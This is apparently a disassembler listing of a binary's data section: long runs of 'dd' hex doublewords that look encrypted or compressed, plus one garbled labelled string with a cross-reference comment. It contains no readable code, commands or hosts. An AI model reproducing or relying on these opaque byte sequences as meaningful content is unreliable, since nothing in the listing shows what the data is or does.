		dd 0F98B296Bh, 0AC50CAB3h, 0A171932Dh, 4014D984h, 0DA203E5Ch
		dd 6B00EB12h, 312F1CACh, 267499B1h, 74345CE4h, 4001DC46h
		dd 0A9DDC08Ch, 0F9208161h, 0D134A5ECh, 8E4C420h, 204AA21Ch
		dd 276580BDh, 4941EF23h, 3EFC0017h, 0FE1E8101h,	4F75AF95h
		dd 534A202h, 80829C13h,	8256BDCh, 7B649123h, 0E5F660CCh
		dd 549FF235h, 60A6BCDCh, 6AE6C1E1h, 7C000980h, 86B74A9Dh
		dd 48D7CBDEh, 6287D467h, 0C3DC7470h, 0DBE05AE4h, 68BAC2E8h
		dd 87D1C46h, 0CFAA918Bh, 684035C4h, 88D28BE2h, 0E89E2E26h
		dd 0D63B00DEh, 0EA540841h, 9808471Bh, 802C4A03h, 0CE3C02C9h
		dd 0C8127238h, 0D8082805h, 5C842489h, 7C021C46h, 782085AEh
		dd 0DA372861h, 1CC84B05h, 0D9973A4Fh, 9B1B5280h, 0C6DF83DEh
		dd 0E374A001h, 0DD990554h, 4C388420h, 1ABC6CCAh, 5D3F88Ch
		dd 1857E42Dh, 0C33C5EB1h, 783383BAh, 6C75FBC8h,	5963EC00h
		dd 0BD3D5E5Dh, 0CBE16EEh, 232C2FCAh, 6BBA00D8h,	0EEF9A4B6h
		dd 41AD2A02h, 129D246h,	86FB8CBEh, 0E25A1F18h, 0C04B7339h
		dd 80F9FD99h, 0C9007783h, 597194EBh, 0BBEFA38h,	3A6F45DBh
		dd 0C3AF1CA1h, 0D8A09134h, 27727D81h, 0D731DA6Bh, 4500A712h
		dd 4395B0Fh, 4D3E2641h,	797490C5h, 6FEA3CFEh, 0D3BF0906h
		dd 0E839EDA4h, 0FF7000A6h, 203A3E6Dh, 63038F7Ah, 0BA15EB13h
		dd 0D5D016F8h, 514C304Eh, 0AE08A9C1h, 2448B4BEh, 1F3182A0h
		dd 0AC52BC40h, 0BAB4CB00h, 0BF7AB9AEh, 0C17D029Dh, 4B81642Dh
		dd 0E000B444h, 0B958D2BDh, 855168h, 0C4EB93FCh,	0EE461001h
		dd 70D63600h, 7F03D7E1h, 7A2700DBh, 0BFBEDD91h,	65F8E382h
		dd 819EF894h, 0F0121A13h, 8F7D0800h, 130B5CD4h,	9CAECAEh
		dd 2404AB34h, 9B588189h, 4AA40194h, 676100D2h, 0A99817E3h
		dd 286CDA26h, 5257C60Eh, 0A8ADBC80h, 0E8A75C2Eh, 0F235C900h
		dd 393B41A9h, 563AC0B8h, 0C8D45859h, 2921CEA2h,	2310AC80h
		dd 0A0F18E68h, 65D02829h, 122301E5h, 5E1E6B3Ch,	572824F7h
		dd 0AC10EA45h, 0E84B83ADh, 0C72F0F9Ch, 8E6D89A0h, 881C4ED0h
		dd 0DD29C0D0h, 44705CACh, 0C947EC03h, 625AEE5h,	6F522CA1h
		dd 7F04E838h, 0CE4DA0AAh, 602D78C2h, 0A1F84896h, 0C610E754h
		dd 0EF1272E2h, 14388254h, 20ED8ADDh, 4D8F90C0h,	88D0013Ah
		dd 4BC90D22h, 86042431h, 0C56BB101h, 0B74F5317h, 0B2960C4h
		dd 13690718h, 10E01091h, 146F945h, 1209B0B8h, 0E1C7BF3Fh
		dd 0D3242027h, 34932C04h, 0A490CC9Eh, 2799A2Eh,	0AA08C0ACh
		dd 30581B70h, 3C961390h, 96409C48h, 2C768264h, 163C4410h
		dd 7750080Bh, 0DAE89BC0h, 22984645h, 0A20B02D1h, 0A4B37CE8h
		dd 9819C406h, 712760F4h, 0E845D481h, 43D38402h,	40220A4Fh
		dd 59D15C58h, 12C84859h, 8F8BD1C0h, 22BF46AAh, 0D8660039h
		dd 7AC41E8Bh, 2412B76Eh, 4C1E1CD5h, 0A80FD292h,	307CE1DAh
		dd 88212DB4h, 8C97E420h, 83292A04h, 1B6238ACh, 2911E820h
		dd 4DDE0059h, 1036F5EAh, 0AC30313Dh, 4F46E9BEh,	0BFFE028Eh
		dd 0CBD480E6h, 0CE079080h, 0FF672E77h, 3CBA0F18h, 3A1D4656h
		dd 0F4C501D9h, 0DEA5BBFDh, 7A1F0824h, 0B27502h,	4B6E4E95h
		dd 6850FD2Eh, 6EB4B03Eh, 0D8445740h, 1E04BFC6h,	0EB28A44Dh
		dd 0E99A1D12h, 89A18801h, 0D02D383Fh, 7901E423h, 6D6B1372h
		dd 71F3070Eh, 320BB72h,	2CE6CEFh, 25E735EBh, 16202B4Fh
		dd 1820DE9Ah, 0F63848FBh, 82FFA772h, 7DDB370h, 0B0B46BE1h
		dd 5D84ABE6h, 0CC1504CEh, 5F9D9896h, 30ACC829h,	0E54418C4h
		dd 59AC010Eh, 343091C3h, 0F21E1803h, 0D7A4E8ECh, 85746C58h
		dd 0B420294Ah, 2D49084h, 0F0ECEF38h, 0E0511D05h, 0C8212900h
		dd 1EE903Dh, 3BE04580h,	0E492648Ah, 0AC90FF15h,	0ECB19CACh
		dd 0CC19D271h, 4A3064B5h, 0D2879124h, 4ED71CFDh, 0B38140A3h
		dd 892594B1h, 8435A809h, 1C64E3h, 47D0595Ah, 0A30CF275h
		dd 9D0B6479h, 366B641h,	0D2613BF8h, 451DDh, 2B9988Ah, 0CC49262Ch
		dd 72B86454h, 0D9E89C60h, 15A04523h, 0E01D4E9h,	0B04E8A3h
		dd 3B74CC5Bh
		dd 0CFDEC201h, 0FDBA57C5h, 74707820h, 0E451CA4Ch, 0B50B09EBh
		dd 94378042h, 6B428E81h, 5C2408A6h, 2EC90D4h, 7743E4C1h
		dd 28600B56h, 24148A81h, 80307B34h, 45CEE88Fh, 0EA618CB8h
		dd 0E896FFD1h, 42ABE8DBh, 1FA90159h, 0E6EB5BB0h, 441422E1h
		dd 0EE003F68h, 6B2D50B8h, 91F89616h, 305708A4h,	2133B01h
		dd 46E25F72h, 22E54674h, 420C1686h, 64088303h, 0AC64A8CAh
		dd 0F4E4A62Ah, 5B699A00h, 0D3247A9Dh, 0B0AAFCDDh, 13560B83h
		dd 18274596h, 88AC302Ch, 7C130657h, 24822DCDh, 77A41042h
		dd 9B22FEF0h, 9F5A2479h, 3A8D12A4h, 381B23B8h, 15CA9C00h
		dd 5BA4B114h, 716D810Eh, 43D500E2h, 0AA24C257h,	0B284C0CCh
		dd 4C5C843Ah, 0D2BE80B0h, 4863BCh, 32922ADAh, 1603DFEFh
		dd 4E236802h, 0C9C7458Fh, 70265D68h, 28983020h,	0B32DE20h
		dd 0DE0E827h, 38E4EC45h, 24F3DE60h, 49D8FE16h, 0E4A93090h
		dd 0CA3E0030h, 0FA324219h, 43008678h, 0F9DDA6E1h, 166BD077h
		dd 9D5E8B6h, 401D8B38h,	0EC81E911h, 0CC475108h,	6005D46Bh
		dd 467745D1h, 2582C4A0h, 0E42B572Eh, 0E447FF04h, 97E832A8h
		dd 77577305h, 0A480B3F4h, 14104663h, 88AFE27Fh,	0E40E6459h
		dd 91331DDBh, 28AEA570h, 24C88218h, 0BCA0A325h,	0A66AD8AAh
		dd 0A869C051h, 0FA25B88Ch, 6DB7BF0Eh, 1375A0D6h, 8EC9B6h
		dd 301C3A90h, 61036C95h, 8CF7F200h, 0FC80FFF9h,	60AF0074h
		dd 55B04A44h, 0CA00EC70h, 0F2C6B964h, 0F0EB315Ch, 0A40D00F8h
		dd 0ABBBB4CBh, 98032D75h, 84F750B7h, 31E398F9h,	62590017h
		dd 71AD23B5h, 0C6F4748Bh, 7F734300h, 34B89CFAh,	264B38CEh
		dd 0FB3F2F84h, 91AC8732h, 31CD2E83h, 9D7442A0h,	11292830h
		dd 8848AC81h, 0DEA611h,	12C19E29h, 0D6007A1Bh, 932EC843h
		dd 16AD30B4h, 0BDFF5A8h, 504D2304h, 0C15C3760h,	2D4C0086h
		dd 9B355DC3h, 6091D014h, 2F60FC7Bh, 515BA925h, 1723D809h
		dd 34D38844h, 0B69FD60h, 0FFB161Eh, 0F49430AFh,	82004DD7h
		dd 3C384065h, 2D68E5FEh, 88843322h, 717C8235h, 13E89D30h
		dd 39A845DCh, 0E8F800ECh, 941836C1h, 0CF691E4Ah, 57DE0046h
		dd 21C4697Ah, 0C64825E1h, 3C0602F1h, 512295C7h,	18D47150h
		dd 0EAF70084h, 1D8C736Ah, 6912AA45h, 100136B3h,	0C04A0EC6h
		dd 948C3180h, 78F87BE7h, 0CC552212h, 0FC93F01Dh, 4233F404h
		dd 3064B5h, 0FCD848E6h,	0B8229611h, 4DDC038Bh, 2BAFF901h
		dd 7FB62CC8h, 2D2C28B0h, 4E08D40Dh, 0E9022B0h, 836DD823h
		dd 1D60D2D7h, 138BDC30h, 38E7AA9Ch, 0E300A174h,	7CC2098Bh
		dd 1782358Eh, 43B75232h, 0DCA5E9C8h, 5CD5E904h,	48A4AFE5h
		dd 0D9C3604Ch, 0F1E46B65h, 0A2ED660Bh, 0AA2C0F7Eh, 0A61610B5h
		dd 76993820h, 308D0A37h, 74DCA3E0h, 0E109D246h,	588262EAh
		dd 38D1CBE5h, 0F819DA71h, 0A00D220h, 0D373BD93h, 412B6AD7h
		dd 2CB2CD34h, 0CC9C969Ch, 0B482031Ch, 831132E0h, 0E391E6D8h
		dd 9BA41A59h, 0D9A9E208h, 0C012A5D0h, 4E70D4D3h, 0A7C008FFh
		dd 0E780354Bh, 307395B5h, 77CE006Dh, 5223F159h,	0A00140Eh
		dd 75A3A41Eh, 4CB5A65Fh, 0CA26D801h, 1B465E74h,	693AA200h
		dd 0B3CB9C99h, 9F4B097Dh, 67CE7440h, 80C00F8Eh,	0EB2441AAh
		dd 90278490h, 99F720h, 8E0E2D17h, 64A1CE1Ah, 97537400h
		dd 0AF24C7D4h, 32A525A8h, 197C4039h, 45D38C40h,	0CED8B9B0h
		dd 742C0013h, 16456B3Dh, 14C56F07h, 0BE81B607h,	7C68FDBCh
		dd 0CA3DE062h, 16E46CE5h, 0DFE4CC60h, 0F0904C4Ah, 0E87437h
		dd 403FAF4Eh, 0DE7C43F2h, 71515500h, 0D635074Ah, 0EC4604B1h
		dd 0A8D8E1A5h, 0AB2D1E98h, 60C83A54h, 3F666149h, 0BAE4B04Ah
		dd 50E5F828h, 93C10B3h,	325A68E3h, 1E463872h, 9B8BDD02h
		dd 2047DFAAh, 8BE4A200h, 0E2156BC3h, 7C810094h,	0DCDB7F74h
		dd 0CB1D93C8h, 4A0C97AAh, 0E11B7123h, 58A2D8h, 9112F5B2h
		dd 217AB648h, 8277F309h, 0C45CC5C9h, 0D27A6011h, 5DA003E0h
		dd 3B9741D4h, 425F4398h, 0A95C0197h, 54648990h,	0B9B8908Bh
		dd 4F620408h, 1E53C032h, 1903ED4Eh, 8EF8C1B1h, 9420B771h
		dd 4BA8B082h, 9BC01225h, 0C0208F60h, 2D0665CFh,	776803E6h
		dd 10965743h, 4D6EA025h, 0E78FC064h, 3D98EC2Fh,	0F000C0B0h
		dd 26223930h, 9972C13Ch, 183ED1D8h, 2EFB00AEh, 0BA35650h
		dd 0D6304F46h, 0D3BAA80Ch, 4A772D43h, 0D190CCA2h, 2E25F058h
		dd 9184177Fh, 981803Ch,	0B28D27h, 0D8CA74D1h, 0E0DDA8A9h
		dd 0F7482B58h, 0E8E40Bh, 2DB0C62Ch, 0E3C71875h,	6B1284F0h
		dd 6CE25CD4h, 0AC30DAF2h, 73982FD3h, 2F099256h,	5EB8C359h
		dd 90702078h, 4883DBB5h, 4C25D084h, 8DF7C96h, 8364E865h
		dd 0C122005Ch, 0A1AB696Ch, 1204EB3Bh, 0D74C719Ch, 483A2890h
		dd 0AFFD00CFh, 5582A959h, 8D03CBC7h, 2C81640Bh,	0C23BC25Ah
		dd 40D9A0h, 0E1AE2A36h,	70B4D209h, 0FF5C00EAh, 813AB118h
		dd 505400B4h, 166CE4E6h, 0D4DD599Eh, 0D02CAC48h, 3A465E34h
		dd 6529D800h, 309C4BB6h, 0DA0871F9h, 0CF806C56h, 0F7031A59h
		dd 0A560026Bh, 4B79932Ch, 0D5395072h, 0F4720031h, 3E23B3D0h
		dd 448D002Fh, 3A7BECBEh, 690060DEh, 0E17A726Eh,	19313CAh
		dd 66CBA8AEh, 6DA6262Fh, 0B64E00C4h, 71C36A7Ch,	0DD46351Eh
		dd 98E219h, 89F45C4Eh, 3BF9196h, 5EA53D02h, 0C00BC04Bh
		dd 60F9903Ch, 4B41AC30h, 0C848C0A3h, 0CC64F564h, 50A223B1h
		dd 8130D5E2h, 74880BC2h, 0C44B51Bh, 9DD12E09h, 617680EEh
		dd 55239A5h, 82562F1h, 6A84E4A6h, 4F0030F4h, 10398D85h
		dd 93CFB69h, 35366743h,	9129D800h, 2B56FE49h, 0A8617988h
		dd 0ACC58A84h, 0BC7C9069h, 0DC465E9Ch, 51E9A000h, 0AF37AC7Ch
		dd 34C787Dh, 57460510h,	1CF4230Ah, 236941C7h, 34D4A1A8h
		dd 43C6D0Ch, 0B4D78203h, 52495E39h, 77220008h, 31BC9970h
		dd 0E715C24Dh, 0A42E4Ch, 7C8C8F97h, 6BCE70h, 1207907Ah
		dd 0CDD3AA55h, 91309795h, 363F83D7h, 803E604Fh,	97D389ACh
		dd 0A8B154B8h, 609E7280h, 946C0Ch, 1DB0D0F1h, 278F9A3Ah
		dd 308FE050h, 18618338h, 2AC9CE4Dh, 3C4E16B3h, 70E80041h
		dd 21959636h, 866F4C09h, 4C8D81Dh, 0A661D4B7h, 3490E80Ch
		dd 58C14066h, 5A9806DDh, 4F2E507Fh, 0CC00CF5Fh,	0B8756494h
		dd 5AC0A0C0h, 98577667h, 0A0700518h, 0C0D44A41h, 9564A418h
		dd 1890E97Ch, 2E284C09h, 19B881D5h, 64E6FC13h, 92ED3B1Ch
		dd 473DD200h, 2D6FEBA8h, 0CF287B05h, 0F4B22B5Dh, 0D230DAF2h
		dd 453F0951h, 0B402E9FBh, 0B4D86359h, 0D0A60B08h, 71A10AEDh
		dd 644D2758h, 1E5F16C0h, 50E16B22h, 1711E01Dh, 0A58AC381h
		dd 29A9E560h, 57C60F60h, 0E001D0D6h, 0A4E5CCEDh, 7C1035A8h
		dd 8C1DBC88h, 9BFA0B01h, 2E66CE12h, 0EE005833h,	0FF98AE30h
		dd 0F63EFDDAh, 21C20065h, 0AF39F2BDh, 1F17029Eh, 60D1F061h
		dd 9870BCF3h, 40F500ECh, 80376AFCh, 5F134608h, 18525849h
		dd 0D1C8C8CBh, 75F978C1h, 9C48B4E5h, 0B65010E6h, 970E2F03h
		dd 9F189164h, 0E3A33006h, 27B900C1h, 0BC44F613h, 3D00D936h
		dd 0FA159E4Ch, 25CACB0Fh, 8E81978h, 2B4D6A0Ch, 0AB2D09E8h
		dd 60945894h, 573B2135h, 0EA2C6F5Fh, 1B91B0BFh,	9A8BDA80h
		dd 9894D7AAh, 8BE46759h, 20D11228h, 3E28B659h, 3B70C95Ah
		dd 9931E04Bh, 4629B3h, 13C7C6D6h, 8289F5Bh, 0A4D92D12h
		dd 0E28FE890h, 74D75940h
		dd 1969440Ch, 0A824AAB1h, 5262F4B6h, 0B2A901A7h, 2A418274h
		dd 9D6820F9h, 81D311E0h, 0F3600ECDh, 12CC98E0h,	0B0AF70AAh
		dd 0F898CE00h, 97801A40h, 0FB00A8B7h, 1B600722h, 0C999D24h
		dd 23000BB3h, 0B988514Fh, 1871FD97h, 8B50B798h,	0A61C75CBh
		dd 0A8C95F43h, 0B758C244h, 884409C0h, 208BD480h, 9A304F46h
		dd 6A04E11Ch, 1C3748CFh, 1B7B7102h, 0C85CAACBh,	8C346908h
		dd 1B512A4Ah, 9E39750Eh, 0B2AF8197h, 587CAD78h,	255FD812h
		dd 31C98600h, 30B6332Eh, 883128ECh, 84881F4Ah, 0C81A009Ah
		dd 5F92A84Dh, 7D592080h, 1C30D2ECh, 57EF40h, 778C7ED2h
		dd 3694C2D8h, 1689DD00h, 0ABFEA433h, 2F671F59h,	7AE8B0ADh
		dd 9C003AF1h, 81EA7504h, 1593FECDh, 0FC6D9862h,	494461Eh
		dd 0FD67803Ch, 787326FCh, 16184674h, 0F117D3BCh, 90B07441h
		dd 6883EAC1h, 14565F44h, 0CB816001h, 9F279D09h,	379C123Bh
		dd 48E8E0D0h, 3C5C1DE1h, 2BC50019h, 968B286h, 1C791E58h
		dd 0A605C952h, 4D0E785Ah, 7D7B3E0h, 0A19772FFh,	665EC770h
		dd 14DA3FF5h, 0D0079501h, 2BC1EF09h, 81769423h,	0D8E34919h
		dd 15A4DEDh, 0FD718C53h, 0C56F33E8h, 4C3B6A3Dh,	2F00DB23h
		dd 0E3E9EC52h, 0B4820020h, 5CB26CBCh, 0AE2C0307h, 0D59488F4h
		dd 0C45511D8h, 6B408301h, 28FADCA6h, 0E28282E0h, 0BEC47EA4h
		dd 4E80A2BDh, 0B07A780h, 0F3006467h, 0F0E21CCBh, 16599A14h
		dd 0A127A5D1h, 0C46E3AF4h, 49743A00h, 9653E16Dh, 6816E310h
		dd 2B3DE7C0h, 4E008B64h, 45D4F402h, 9C156277h, 0FF3188E0h
		dd 7D612E01h, 0C60D907h, 4DD08834h, 0ABB13F18h,	25A8AFF8h
		dd 3C010CF5h, 6111E67h,	3552118h, 42243608h, 6E100461h
		dd 3DEA8133h, 9887F5B0h, 6B01A984h, 81CE7BA8h, 0E875FB91h
		dd 496A4123h, 9C653B84h, 2603EE4h, 1679A8D0h, 45CE6903h
		dd 19A667h, 0EBD1CA0h, 0DA4D36F8h, 0D8702095h, 0F919866h
		dd 0ABA2623Dh, 20B156C0h, 5CA22665h, 1779B471h,	8F03DD18h
		dd 0A75B0E73h, 30E2D480h, 7B3035F2h, 2B2F00D9h,	0FEEC9641h
		dd 0E6016E99h, 0D640D41Ah, 14F4A803h, 10D562EDh, 0F309F19h
		dd 27311ABh, 0A8197DFBh, 3441E76Dh, 4CB4386Fh, 0D00FAC4Eh
		dd 31768B23h, 64609074h, 0CBC04F45h, 97020288h,	4026BCE8h
		dd 17B0B3A8h, 9BD381FAh, 80778030h, 371E8230h, 0C1A13244h
		dd 3074C57Ah, 7F09D42Ch, 6ACB867h, 12C16064h, 0CB7E9F59h
		dd 0C0D1C8C8h, 4BB9690Eh, 53FA5F00h, 0F97DD7A4h, 4C8B0B30h
		dd 40C4D432h, 0B2764D00h, 3D2AC098h, 2261007Bh,	0E9731ED2h
		dd 2498B62Ch, 0A045962Ch, 0DCCCACh, 7320361Ch, 0C62D2CF0h
		dd 7E011A7Bh, 9CAA8193h, 0E050374Ch, 67F6B1h, 80B36098h
		dd 0E69DC685h, 0BA930800h, 3BD2DC43h, 6A8EE28h,	0A5E50E3Ah
		dd 0B0B56906h, 2E70B33Ch, 3806B39h
		db 0B2h, 4Bh
aS1zH8m		db 'S1Z( H8¬>',0        ; DATA XREF: ___:off_435710o
		dd 0FEEC2E2h, 5BE79770h, 0E9BD3D01h, 0D73AA521h, 0CCBE6088h
		dd 68A4D309h, 18BD2620h, 6631FD6Fh, 64007C82h, 0DE1CC7ACh
		dd 0AF00821h, 4DF7DA40h, 7728006Ch, 9079C523h, 9FF5E05h
		dd 0C0BF452Fh, 0C4B6D269h, 9915D900h, 931654AFh, 317034AEh
		dd 199800C1h, 0B0C7EA7Ch, 4B2B5D08h, 0FC97ADABh, 67803C91h
		dd 0DC4A6DB6h, 681EA90Ah, 0CB10A870h, 70CCE917h, 22E46FB0h
		dd 0BC140200h, 96CC9766h, 8083072Ah, 0C018F98Dh, 45B01E5Fh
		dd 41DAD481h, 7CE8D720h, 136A0EB5h, 56134A93h, 0F288B290h
		dd 0B7903316h, 60046AEBh, 0CE67D80Ah, 0B4179097h, 0B38C908Bh
		dd 0A6EB8B2Bh, 5A12C97Ch, 0AC4BA86Fh, 8CC49049h, 0B3AA00E0h
		dd 0F554911Fh, 93BDA6D8h, 9E2E898h, 292701DAh, 4A19F762h
		dd 2438A499h, 0D44676h,	1E95C18Dh, 133ACDF5h, 0F25923EFh
		dd 40914864h, 93072D58h, 0DB3B282h, 6AB5A9C2h, 7060F318h
		dd 0F3001E8Eh, 78807EE9h, 2E517124h, 0AB0823Ch,	45A46166h
		dd 2E4000A0h, 2B6BB0C6h, 0BEAA98C4h, 0A734E40h,	0F82C8A1Bh
		dd 0FE40E049h, 0FC21D9h, 699BB60h, 0B06F59D2h, 2BCEB8A9h
		dd 0E61C1C6Bh, 2B118462h, 58ED4Fh, 0A614D8B9h, 7750DF56h
		dd 27E4B2h, 0F277A022h,	5189ACD2h, 0B429AA2Eh, 14D64676h
		dd 26DB3CAFh, 7340C0A5h, 246594D8h, 3D6CC31Ah, 0E21FA5C8h
		dd 329ED2EAh, 0A719663Ch, 7450C308h, 4ED2FE0h, 8200BCF2h
		dd 960BFE5Eh, 11278AEh,	0A4E32F65h, 9830D2A2h, 91DC9006h
		dd 0F2D313B8h, 4DF01E8h, 0D57F45F7h, 0CA9C70h, 947A9B7Eh
		dd 6743D482h, 60A3F920h, 9775E059h, 18167411h, 0CCB05664h
		dd 537B13D3h, 0E4B4E449h, 29AB33Ch, 312D93DBh, 7889A8h
		dd 0E117AA5Ch, 446BF7E6h, 0C84B1E24h, 31023CCCh, 63081935h
		dd 804C5449h, 0A73EB260h, 5D749A21h, 0CF088A12h, 3FE248A2h
		dd 7B2A30h, 0F644B748h,	0CC37AD88h, 303AAC05h, 3805AB31h
		dd 5CF95ED8h, 98715902h, 60FBCEE4h, 30FBF58h, 5D847081h
		dd 70C78235h, 368D72E4h, 9108BD13h, 3E05F0A2h, 0F9AE8717h
		dd 828EB024h, 0C24504C5h, 0D8411F27h, 2F8EA610h, 5444B4D3h
		dd 0AC862900h, 2B9CE373h, 0FA6A007Dh, 0CE581180h, 265B1F2Dh
		dd 11C82CCBh, 27CF05C0h, 81AC1310h, 0FC5C05F1h,	82D8FCD7h
		dd 805A495Dh, 0C565774Ch, 0C71D0243h, 0B11C41AAh, 0A6E5C840h
		dd 1E0B2091h, 8080923Fh, 0A971A044h, 828DEB4h, 9C811849h
		dd 0CECB368Ah, 1EAC20FCh, 8741E411h, 80C4762Eh,	4760FA8Dh
		dd 1D6CCE5Ch, 6114D1ECh, 9D56034Ch, 796F6A41h, 0CBB53059h
		dd 5775D8A9h, 35B1D109h, 796071F2h, 1D84181Ah, 40A750ABh
		dd 19947C22h, 0E02E3AF4h, 83C0F073h, 0B945D534h, 4C8086ECh
		dd 360089D9h, 0A009B47Dh, 20FBD7h, 6F11E418h, 0CF95F794h
		dd 9F5AF4A0h, 6C594126h, 0C780F8A1h, 5225B86Ah,	3A150026h
		dd 39E3CA50h, 8C270F8Bh, 0E50C9194h, 346D630h, 612D3DAh
		dd 4FCAD28Eh, 7D01F052h, 333C1977h, 0C0CC26EEh,	0D09D0174h
		dd 0A70EB7CBh, 0C747D4F9h, 69B1D307h, 0D91B5D1Eh, 0A87412B0h
		dd 8C3BF870h, 0BA3DED02h, 20314BD6h, 7BFCE658h,	651C1F79h
		dd 9805B2Eh, 86B2A2D9h,	0C4AB792Dh, 0C5CDEF81h,	0A0F22Ch
		dd 78442529h, 0E0ABB5h,	12ED56BFh, 924B0579h, 0DC7954AAh
		dd 6562FC5Bh, 7B001C51h, 84B8D2CFh, 299900A8h, 0D9B0EF14h
		dd 813C2526h, 332960EEh, 3AD574C4h, 0BAE959F6h,	0CF7B5099h
		dd 0B60B6100h, 39D6ACEAh, 1891E859h, 295D69AAh,	0F70478F1h
		dd 62AFD747h, 3312F0ACh, 0AC740983h, 0C3AF0C1Bh, 0EBC8CCABh
		dd 389143D1h, 0D88BF392h, 5DC01AC8h, 12BBC3A1h,	8127AC7h
		dd 42811FCCh, 524D876Ch, 1F7147C8h, 53C823E2h, 145020ACh
		dd 302F1BE5h, 0BBCC172Bh, 6BD002C6h, 0C12C9E6Eh, 2F10346Ch
		dd 0B00993B3h, 2069A373h, 0E17299B0h, 9D7C0Eh, 0CAD1E0CFh
		dd 7FA0F3B4h, 0CC421E1Bh, 0E8900029h, 0C6F8E908h, 7078F14Dh
		dd 7C67D712h, 0DAB00C47h, 787E937h, 0A2D86233h,	0FBCC1CCh
		dd 0E061C4h, 3DB94413h,	41084933h, 8CE31E8h, 612BC030h
		dd 0C09043F1h, 27DD4430h, 0D507E0D8h, 6AC266A7h, 246CF889h
		dd 1ADFA29h, 410AE749h,	1118058h, 31139DD4h, 0E5C20177h
		dd 0E93F27AFh, 96908064h, 9115D983h, 0BBCB8E7h,	0BB4A20F9h
		dd 2A59F4A3h, 5DB0C8BCh, 5109EF79h, 5698E315h, 0D6404060h
		dd 9100CF44h, 0F8CC837Bh, 6013354Bh, 0F42D249Bh, 0E2009C97h
		dd 9184326Ch, 28744DD2h, 7CECD10Fh, 0B315051Fh,	0D0B5CB9Bh
		dd 0E2C6279Ch, 0EB756900h, 771D0463h, 13DA121Fh, 7EE8234Ch
		dd 98F171F3h, 7DA8ECACh, 3EE3AA1Dh, 61AD4AC0h, 24DDA63h
		dd 91D0B839h, 0A06C8194h, 4B301098h, 0D114E9DDh, 738400ADh
		dd 0C8B55C04h, 0B190532Ch, 0AB290217h, 0B4826E01h, 42C0B88Bh
		dd 58B3001Fh, 6DCF1EB7h, 0A0BFA5E2h, 57E962F0h,	0C8AF0041h
		dd 9F16A3Ah, 740090C1h,	0EF1F3121h, 6257C6ECh, 0E889034h
		dd 939ECC80h, 0D0A04BA8h, 0ACA832E1h, 0E71295B3h, 0A0C13DA7h
		dd 0B080C7B6h, 4E8E97B1h, 7801285Ah, 0BF452F33h, 44E2EFCh
		dd 0C17780AEh, 2EE31E1h, 0A59B730h, 91E07B4Eh, 5D05D48Eh
		dd 85BED0F9h, 0E4FF2180h, 42720395h, 9392F59h, 4801FBA3h
		dd 57EDDDD6h, 2D8F962h,	185F01B2h, 119FF3BFh, 0C53AC4D9h
		dd 66BFD06h, 62843B0h, 0EB1486CEh, 7B005068h, 76E0C20Ah
		dd 0D0FBC1h, 2A5F30EDh,	70FA48C7h, 7779F25Ch, 800F97Ch
		dd 4DEC8CE4h, 0FCB6DB59h, 69B7CEDh, 56C3E03Fh, 0AE4E186h
		dd 21D16D1Dh, 59080AA0h, 8C17Ch, 0CDB50141h, 0E3FA75F2h
		dd 355450C0h, 5FBFD8Fh,	666A3205h, 0A88443A2h, 0BA8019C4h
		dd 0CF02BF39h, 0F87E5F09h, 0CBA890B7h, 0DFEA0C70h, 0F4A8CC96h
		dd 0C017E53Ch, 0FEAE03D9h, 0CABC21F3h, 3F31F40Fh, 7C4F577h
		dd 0F875630Fh, 7026A580h, 0A2B50C65h, 8D8993Ch,	0FEB34F06h
		dd 7530276Fh, 0A0CD75C0h, 0C73FC5A4h, 9174CE81h, 0D459408Fh
		dd 21003830h, 0B108236Ah, 7A43647Bh, 28361558h,	375DC62h
		dd 812DD2E9h, 7F88BE69h, 9E50E04Fh, 0CD0C12ACh,	508D974Ch
		dd 0FFAE07D2h, 894953ECh, 306D1003h, 4BBB800Eh,	6727E0A8h
		dd 0A03EAB4Ch, 0E8577CE8h, 0BD6518D6h, 0F8B3281Fh, 61C841Dh
		dd 66765B85h, 0C6359C42h, 5A4848BEh, 6027F010h,	124E11BCh
		dd 7139069Ch, 0C37A005Eh, 3D88D7D3h, 6A70038Ah,	354805D6h
		dd 0C45B601Eh, 0A000F97Bh, 67030252h, 394089h, 92CBB74h
		dd 1EAA4610h, 41295F00h, 66BF7DD9h, 0DAF665h, 4DBA7031h
		dd 59CBB0A3h, 0E80F7707h, 6170179Fh, 118D1BBh, 0E3085ED2h
		dd 0E4068CD8h, 0CF07CCC2h, 1055DC80h, 111818CFh, 0CE710584h
		dd 6CC3C9E8h, 66206920h, 0B805737Eh, 741CE883h,	23C50097h
		dd 8A4EF70Bh, 0C7C83A6h, 78EC739h, 0D58F91BDh, 428D1A80h
		dd 5FD629C0h, 80CA4620h, 0B6C1EA10h, 114D72Ah, 0B1A0247Dh
		dd 0F0CFB276h, 9B0EC626h, 8085C4A5h, 0D38B0674h, 7F4C00E5h
		dd 511484ACh, 34AB606Eh, 80A0082Ah, 0D04670FAh,	0A03EB4h
		dd 0E356A8B8h, 0FA851EB5h, 6C47003Dh, 0F6C7297Fh, 6500CC89h
		dd 76B5A22Dh, 0A09414F7h, 3EE544E4h, 0A006C5Fh,	0B76849E7h
		dd 43038765h, 0D8F876B0h, 0A129219Ch, 0BA462308h, 0A1AA88FCh
		dd 22F27D89h, 0F244B86h, 4A8F7427h, 11082899h, 844B9041h
		dd 75489648h, 221FD442h
		dd 6A2742D7h, 293198D8h, 1317E8D8h, 0A91F8123h,	25A17A40h
		dd 0DF01B354h, 4F1E0E09h, 0A9560B00h, 0C9032776h, 0C2F1A35Ch
		dd 0A0F7C84Eh, 0E2A60351h, 0EE9D99B0h, 6385E3B8h, 0D5C45D50h
		dd 0CB8BE000h, 0B5F5A6FEh, 0D8F700AFh, 0E769C156h, 0A7006502h
		dd 33CEF4CDh, 8C96Ch, 862F6238h, 6683BF5h, 5476D90Eh, 341F40D4h
		dd 0E09E7Fh, 0CF30A20Fh, 721B404Fh, 0C7AD900h, 0C3A1348Dh
		dd 3A6C00A9h, 0E31F2FE9h, 27009120h, 0AD5CC54Ch, 1B748BAh
		dd 244E5155h, 0C01FE739h, 460F1D71h, 0A048265h,	3A0FAF1Ah
		dd 6FA6E0ECh, 24F4C1h, 0B8B75D9Ch, 0D0940982h, 125F0D00h
		dd 30C4D143h, 10EB1E80h, 4DB3405Ah, 1D59FCEAh, 9818B450h
		dd 3EE6C300h, 0E2CE207Dh, 0F16703E4h, 5836448Ch, 4000E9E6h
		dd 0F8DB12A7h, 2930D75h, 0CF4D8B9Dh, 30607A21h,	0DA0F5461h
		dd 0E0E0E1EEh, 8615EF7Fh, 9668070Dh, 40C02DEBh,	0DDA32855h
